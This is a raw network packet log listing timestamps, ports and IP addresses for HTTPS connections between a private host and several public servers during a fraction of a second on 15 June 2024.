Jun 15, 2024 11:14:54.439662933 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.439706087 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.440211058 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.440618038 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.440731049 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.440773964 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.444396019 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.444644928 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.444664955 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.445791960 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.446161985 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.446331024 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.446341991 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.449942112 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.450794935 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.451078892 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.451097012 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.452183008 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.452573061 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.452646971 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.452708006 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.460123062 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.460354090 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.460403919 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.461348057 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.461424112 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.461554050 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.461982965 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.462022066 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.462608099 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.462678909 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.462846041 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.462862968 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.462946892 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.462986946 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.463026047 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.463099957 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.463136911 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.463167906 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.463177919 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.463253021 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.463402987 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.463465929 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.463495970 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.463572979 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.463685036 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.463864088 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.464051008 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.464178085 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.464240074 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.464247942 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.464272976 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.464306116 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.464343071 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.465037107 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.465111017 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.465723991 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.465795994 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.465810061 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.465871096 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.465904951 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.465959072 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.465965986 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.466043949 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.466093063 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.466403008 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.466519117 CEST	49723	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:54.466536999 CEST	443	49723	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:54.467072010 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.467087984 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.470745087 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.470815897 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.471187115 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.471323013 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.471328020 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.471355915 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.471972942 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.472022057 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.472059965 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.472068071 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.472101927 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.472136974 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.478945017 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:54.479033947 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:54.479123116 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:54.479362011 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:54.479401112 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:54.480931997 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.480942965 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.492492914 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.496524096 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.496936083 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.508490086 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.512938023 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.513120890 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.513132095 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.520636082 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.520694971 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.520715952 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.520735025 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.520775080 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.520783901 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.520795107 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.520863056 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.520920038 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.520920038 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.520920038 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.520920038 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.528122902 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.528167963 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.528213024 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.528228998 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.528268099 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.528290987 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.557564974 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.557651997 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.557683945 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.557759047 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.557769060 CEST	443	49722	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.557813883 CEST	49722	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.560913086 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.561522007 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.562043905 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.562063932 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.562478065 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.562694073 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.562701941 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.563091993 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.563150883 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.563764095 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.563836098 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.563905001 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.563963890 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.564310074 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.564368010 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.564801931 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.564809084 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.564898968 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.564904928 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.571348906 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.571378946 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.571459055 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.571698904 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:54.571718931 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:54.594728947 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:54.594767094 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:54.594841957 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:54.594934940 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:54.594969988 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:54.595041037 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:54.595096111 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:54.595128059 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:54.595221996 CEST	49747	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:54.595253944 CEST	443	49747	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:54.608901024 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.608943939 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.611371040 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.611437082 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.611501932 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.611515045 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.611557007 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.611584902 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.611634016 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.612097025 CEST	49731	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.612111092 CEST	443	49731	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.621911049 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.621961117 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.622025013 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.622071028 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.622652054 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.622740984 CEST	443	49732	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.622809887 CEST	49732	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.637475014 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.637523890 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.637715101 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.637715101 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.637747049 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.637816906 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.637929916 CEST	49726	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.637972116 CEST	443	49726	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.671617031 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.671890974 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.671911955 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.674581051 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.674808025 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.674881935 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.674890041 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.674916983 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.674985886 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.675287962 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.675338984 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.675417900 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.675426006 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.675518990 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.675525904 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.676284075 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.676352978 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.676539898 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.676592112 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.676615000 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.678474903 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.678548098 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.678967953 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.679152012 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.679167032 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.679922104 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.680151939 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.680171967 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.681818962 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.681907892 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.682950020 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.683048964 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.683125973 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.683149099 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.688911915 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 15, 2024 11:14:54.706832886 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.706859112 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.706868887 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.706886053 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.706913948 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.706957102 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.707003117 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.707037926 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.707063913 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.712701082 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.712760925 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.712781906 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.712827921 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.712846994 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.712876081 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.712902069 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.712929964 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.712951899 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.714165926 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.714185953 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.714242935 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.714258909 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.714287996 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.714313984 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.720518112 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.720933914 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.720946074 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.720946074 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.720949888 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.720963955 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.724287987 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.724311113 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.724318027 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.724344015 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.724371910 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.724373102 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.724416018 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.725280046 CEST	49733	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.725291014 CEST	443	49733	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.727097988 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.727185011 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.727212906 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.727229118 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.727260113 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.727281094 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.736495972 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:54.736530066 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:54.736598015 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:54.736912012 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.736922026 CEST	49748	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:54.736939907 CEST	443	49748	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:54.763648987 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:54.763669968 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:54.763737917 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:54.763994932 CEST	49749	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:14:54.764008045 CEST	443	49749	52.51.190.15	192.168.2.16
Jun 15, 2024 11:14:54.768930912 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.768959999 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.791572094 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:14:54.791764975 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:54.791779041 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:14:54.793422937 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:14:54.793488026 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:54.794390917 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:54.794472933 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:14:54.816024065 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.816148996 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.816328049 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.816339016 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.816400051 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.817204952 CEST	49739	443	192.168.2.16	188.114.97.3
Jun 15, 2024 11:14:54.817248106 CEST	443	49739	188.114.97.3	192.168.2.16
Jun 15, 2024 11:14:54.822407961 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.822438955 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.822494030 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.822504997 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.822535992 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.822562933 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.822566032 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.822583914 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.822591066 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.822618961 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.822648048 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.822662115 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.822702885 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.822732925 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.822762966 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.822911978 CEST	49730	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.822926998 CEST	443	49730	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.828742981 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:54.828772068 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:54.828841925 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:54.829075098 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:54.829087019 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:54.829296112 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829315901 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829365015 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.829372883 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829658985 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829704046 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829705000 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829758883 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.829782009 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829797029 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.829809904 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829813004 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.829855919 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.829869986 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.829926014 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.830029011 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.830038071 CEST	443	49737	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.830044985 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.830091953 CEST	49737	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.831404924 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.831449032 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.831518888 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.831671953 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.831685066 CEST	443	49751	185.178.208.137	192.168.2.16
